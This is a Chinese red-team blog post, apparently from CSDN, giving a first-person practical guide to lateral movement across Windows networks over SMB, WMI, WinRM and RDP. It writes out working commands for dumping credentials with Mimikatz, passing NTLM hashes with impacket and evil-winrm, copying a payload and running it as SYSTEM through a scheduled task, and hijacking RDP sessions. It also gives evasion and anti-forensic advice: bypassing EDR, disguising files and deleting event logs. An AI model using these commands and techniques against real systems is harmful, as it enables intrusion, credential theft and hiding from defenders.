// 红队渗透 · 2025-02-14

Windows内网横向移动:四大协议(SMB、WMI、WinRM、RDP)

干了这么多年红队,踩过坑、翻过车、也被蓝队追着屁股打过,今儿个就跟你掏心窝子聊聊横向移动这些事儿。不整那些虚头巴脑的理论,全是我挨过打、锤过人的实战经验。

先说个扎心的事实

你以为横向移动拼的是技术?错了,拼的是信息收集和耐心。我见过太多新手一上来就掏出各种工具遍地扫,结果被EDU(端点检测与响应系统)逮个正着。真正的高手,都是“悄悄地进村,打枪的不要”。

横向移动说白了就三步:拿凭证 → 找通路 → 悄咪咪地干。但每一步里面的门道,够你喝好几壶的。

凭证:你的“万能钥匙”从哪来?

没有凭证,你啥也不是。凭证的来源,我按香的程度排个序:

1. 最香的:内存里的明文密码

Mimikatz这玩意儿虽然被蓝队盯得死死的,但只要你能绕过EDR,它就是神器。

privilege::debug
sekurlsa::logonpasswords

血泪教训:别一上来就跑Mimikatz!先看看目标机器上有啥杀软。我有一回在个医疗系统内网,一跑Mimikatz,直接触发EDR,整个内网给我封了个严严实实。后来学乖了,先用tasklist摸摸底,实在不行就上Invoke-Mimikatz的PowerShell版,分块加载,避开内存扫描。

2. 贼香的:NTLM哈希

有了哈希,你能干的事可太多了——Pass the Hash(PtH)是经典中的经典。最骚的是,你甚至不需要破解它。

# 直接用哈希横向
impacket-psexec -hashes :4e3b1d2f8c9a7e5d6f4a3b2c1d0e9f8a administrator@10.10.10.10

经验之谈:你抓到的哈希分两种——NTLM和LM。现在LM基本见不着了(Win7之后默认禁用),但你万一碰到个老系统,那LM哈希就是送分题,跑彩虹表秒破。

3. 有点香的:Kerberos票据

Golden Ticket和Silver Ticket,这俩都是域控级别的核武器。Golden Ticket你拿了域控的KRBTGT哈希,整个域都是你的;Silver Ticket是针对特定服务的,隐蔽性更强。

翻车实录:有一回我做了个Golden Ticket,有效期设了10年,结果忘了一件事——域控的时间同步。Golden Ticket对时间极其敏感,目标域控的时间比我的攻击机快了5分钟,直接失效。从那以后,我每次都先net time同步一下。

4. 最土的:暴力破解

虽然Lame,但有时候最土的办法最有效。尤其是面对那些弱密码策略的企业——“Admin123”、“Welcome@2024”、“P@ssw0rd”。

暴力破解经验:

  • 不要用默认的字典,要根据目标公司的名字、行业、年份定制字典
  • 用kerbrute搞用户枚举,先摸清用户名再爆破
  • 速度别太快,很多蓝队对短时间内大量失败登录非常敏感(比如4625事件)

SMB + PsExec:老兵不死,只是渐凋零

SMB协议,445端口,这是横向移动的祖宗。虽然大家都在喊“过时了过时了”,但在我手里,它依然能打。

PsExec:最直接的武器

PsExec是微软官方工具,蓝队不敢随便封杀。原理就是在目标机器上创建PSEXESVC服务,然后执行命令。

impacket-psexec domain/user:password@10.10.10.10

但PsExec有个致命缺点——太吵了。服务创建、服务删除,这一套操作在Windows事件日志里留下了大量痕迹。我现在的习惯是:

  1. 先用net use建个IPC$连接,探探路
  2. 不直接用PsExec,改用schtasks配合wmic组合拳
  3. 实在要用PsExec,一定记得把服务名改掉,别用默认的PSEXESVC

计划任务 + 启动项:老派但有效

# 建立IPC$连接
net use \\10.10.10.10\admin$ /user:domain\user "password"

# 上传Payload
copy payload.exe \\10.10.10.10\admin$\temp\

# 创建计划任务
schtasks /create /s 10.10.10.10 /u "domain\user" /p "password" /tn "WindowsUpdate" /tr "C:\Windows\temp\payload.exe" /sc ONLOGON /ru SYSTEM

# 触发运行
schtasks /run /s 10.10.10.10 /tn "WindowsUpdate"

窍门:别用ONLOGON,用ONSTART或ONIDLE,这样触发时机更隐蔽,不容易被管理员当场抓包。

关于SMB的避坑指南

  • 445端口不通怎么办? 有些出口防火墙封了445,但内网一般全通。如果445不通,试试139端口(老系统支持),或者考虑其他协议。
  • 权限不够怎么办? 检查目标机器的LocalAccountTokenFilterPolicy——如果没改过,UAC会限制远程管理权限。得先改注册表或找到高权限账户。
  • 中文系统字符集问题:执行chcp 437切换字符集,不然你会看到一堆乱码。

WMI:真正的“无形剑”

WMI是红队的最爱,没有之一。为什么?因为它不留文件、不留服务、默认不写日志。

基础操作

# WMI执行命令(无回显)
impacket-wmiexec domain/user:password@10.10.10.10

# 如果你用wmic原生命令
wmic /node:10.10.10.10 /user:domain\user /password:password process call create "cmd.exe /c whoami > C:\temp\out.txt"

注意了,wmic默认没回显,你得想办法把结果写到文件,然后通过SMB读回来。

wmiexec.py到底怎么工作的?

Impacket的wmiexec.py比原生wmic好用多了,因为它自动帮你做了两件事:

  1. 用WMI执行命令,把输出写到临时文件
  2. 用SMB把结果读回来,自动删除临时文件

这一套操作行云流水,对攻击者来说就是“有回显的Shell”。

隐蔽性优化:

  • 别用wmiexec.py的默认-output路径,自定义个偏僻的目录
  • 执行完后手动确认临时文件被删了,有时网络抖动会留下痕迹

WMI的局限

  • 必须开135端口,且高端口(49152-65535)要能通
  • 有些企业防火墙只开了135,但没开高端口范围,这时候WMI就废了
  • 对于高版本Windows,WMI的调用可能会被Windows Defender ATP捕捉

WinRM:PowerShell杀手的“官方通道”

WinRM是我目前横向移动的主力。原因很简单:

  1. 5985/5986端口一般都开着(域控默认开)
  2. 能拿交互式Shell,复制粘贴、Tab补全都支持
  3. 流量加密,普通的网络审计抓不到内容
# 先扫一下看开没开
nmap -p 5985 10.10.10.10

# 连接(用evil-winrm,神器!)
evil-winrm -i 10.10.10.10 -u domain\user -p password
# 或者用哈希
evil-winrm -i 10.10.10.10 -u domain\user -H 4e3b1d2f8c9a...

一个骚操作:WinRM支持传递哈希(Pass-the-Hash),但前提是你启用AllowRemoteFallbackToKerberos功能。实战中我发现很多管理员不知道这个,所以常常能成功。

翻车实录:有一回我拿到了一台机器的System权限,但WinRM连不上。检查了半天,发现这台机器的WinRM服务压根没启动(Get-Service WinRM显示Stopped)。我临时起意,用WMI远程启动WinRM:

# 远程启动WinRM服务
sc \\10.10.10.10 start WinRM

服务启动后,我顺利用evil-winrm连上。临走前记得把服务关了,别留下痕迹。

蓝队检测视角:WinRM会留下winrshost.exe的日志,而且调用PowerShell的话,Windows PowerShell日志里全是记录。所以我常用-Command执行单条命令,少用-ScriptBlock。

RDP:最暴力的方式

RDP通常是最后的手段,因为:

  • 图形化界面太显眼
  • 3389端口常被监控
  • 登录日志(4624)清晰可见

但有些场景,不用RDP不行。比如:

  • 目标机器上有必须图形化操作的工具
  • 你需要抓取某个应用的截图作为证据

绕过RDP限制

有时候管理员会把RDP限制在某些IP段,这时候你要么:

  • 通过已经拿下的内网机器做代理
  • 修改注册表添加允许的IP
# 查看当前RDP配置
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer

会话劫持:不需要密码登录RDP

如果你拿到的已经是System权限,可以直接劫持其他用户的RDP会话。

# 查看当前会话
query user

# 劫持会话ID=2
tscon 2 /dest:rdp-tcp#0

这个操作的骚点在于:你不需要知道目标用户的密码。我在一次内网渗透中,通过这种方法直接进入了域管的RDP会话。

老油子的实战心法

1. 工具不是越多越好

别以为装了十几个工具就是高手。我的经验是:把几个核心工具玩透,比啥都强。

我常用的三板斧:

  • net use + schtasks:老牌组合,几乎所有Windows都支持
  • impacket套件:wmiexec、psexec、secretsdump,三件套打天下
  • evil-winrm:WinRM场景下的终极神器

2. 动静控制是门艺术

红队和渗透测试最大的区别是:红队要尽量减少对目标业务的影响。

  • 别用Mimikatz的默认参数,改一下输出路径
  • 别大面积扫描,分批、分时进行
  • 每次横向移动后,清理日志(虽然很难完全清理干净)

3. “记录一切”的教训

我刚开始干的时候,常在目标机器上随手创建文件——“test.txt”、“1.exe”之类的。后来被蓝队复盘时抓了个正着,他们说:“这些文件创建时间、创建者IP全都有记录。”

现在的做法:

  • 文件都放在C:\Windows\Temp\这种系统目录,伪装成系统文件
  • 文件名用随机的GUID或系统服务名
  • 用完一定删,不仅删文件,还要删Event Log里的记录(虽然高权限也不一定能全删)

4. 域的“软柿子”:服务账户

服务账户(Service Account)是企业内网最大的软柿子。为什么?

  • 密码一般设为“永不过期”
  • 通常拥有很高的权限(为了跑服务)
  • 密码常在脚本中明文存储

夺命三连:找web.config、找services、找计划任务里的凭证。

5. “活着的”凭据:LSASS的宝藏

你拿下一台机器后,第一件事不是翻文件,而是看谁在登录状态。

net session
qwinsta
net users
net localgroup administrators

如果运气好,你会发现某个高权限用户正在当前会话中。这时候你甚至不需要破解密码,直接用他的Token执行命令。

真实场景复盘:一次完整的横向移动

某次红队演练,目标是一个制造业企业。初始入口是一台暴露在公网的Exchange服务器,CVE-2021-31207漏洞拿下。

第一步:信息收集

  • 这台Exchange是域成员,但不在域控
  • 抓取LSASS,得到了域管账号的NTLM哈希
  • 用BloodHound分析域结构,发现域控是DC01.manufacturing.local

第二步:探路

  • 用nmap -p 445,5985,3389扫描内网B段,发现大概200多台存活主机
  • 大部分开了5985(WinRM),部分开了445
  • 我决定走WinRM路线,因为隐蔽性更好

第三步:横向开花

# 用evil-winrm连到第一台内网机器
evil-winrm -i 10.10.10.12 -u domain_admin -H <hash>

# 在这台机器上再抓一次LSASS
# 拿到了更多服务账户的凭据

# 用这些凭据继续横向
for ip in $(cat targets.txt); do
    evil-winrm -i $ip -u svc_app -p "P@ssw0rd123" &
done

第四步:直取域控

  • 收集到域控的IP后,通过WMI在域控上创建一个计划任务
  • 计划任务内容:反弹一个HTTPS Beacon回来
  • 成功拿下域控,整个域沦陷

翻车的地方:最开始在Exchange服务器上抓LSASS时,触发了Windows Defender ATP的告警,蓝队在30分钟后发现了我们。但好在我们已经在这30分钟内完成了大部分横向移动,最后还算成功。

给后来者的忠告

  1. 别贪:能拿10台机器就别拿100台,少即是多
  2. 别懒:每次操作前想想“如果我是蓝队,我能发现什么?”
  3. 别慌:被发现了第一时间不要跑,先确认是“被盯上”还是“误报”
  4. 别独:多和队友沟通,信息共享比你想象的重要得多

横向移动的本质是信任关系的滥用。你利用的是Windows生态对管理协议的信任、运维人员对默认配置的疏忽、企业对凭据管理的轻视。你越了解这些信任如何建立,就越知道如何“假借”它们前行。

干这行最重要的不是技术,是思考方式——你永远要想:“如果我是管理员,我会怎么阻止我自己?“然后,绕过它。

原文 https://blog.csdn.net/2301_79518550/article/details/145533048